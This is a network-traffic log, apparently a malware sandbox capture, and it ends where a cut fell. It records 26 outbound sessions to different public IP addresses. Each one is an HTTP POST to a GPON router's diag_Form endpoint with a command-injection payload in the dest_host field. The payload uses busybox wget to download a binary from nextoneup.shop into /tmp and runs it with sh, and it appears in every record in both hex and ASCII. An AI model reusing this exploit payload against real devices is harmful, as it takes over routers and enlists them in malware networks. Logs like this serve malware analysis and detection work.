578	192.168.2.23	56968	42.236.112.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178334951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.23	34336	178.126.92.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178364992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.23	43224	118.158.81.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178374052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.23	59772	123.252.9.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178414106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.23	47608	118.62.6.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178447008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.23	40240	178.215.201.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178502083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.23	48858	42.74.198.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178536892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.23	60268	212.35.131.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178579092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.23	55392	2.23.37.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178591013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.23	50698	2.182.120.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178627014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.23	36576	212.5.175.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178678036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.23	50348	94.233.133.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178711891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.23	54714	37.139.60.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178739071 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
591	192.168.2.23	51548	94.104.55.69	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178806067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
592	192.168.2.23	35618	178.172.45.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178812981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
593	192.168.2.23	56482	5.45.117.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178855896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.23	45408	2.179.119.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178888083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.23	47538	5.234.16.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178917885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.23	48532	79.127.76.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178929090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.23	51480	109.177.242.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.178962946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.23	35128	5.199.247.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179002047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.23	55554	148.151.151.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179037094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.23	41986	118.5.51.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179069042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.23	40808	118.69.224.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179126978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.23	54740	212.75.206.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179147959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.23	46070	37.227.96.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.179199934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 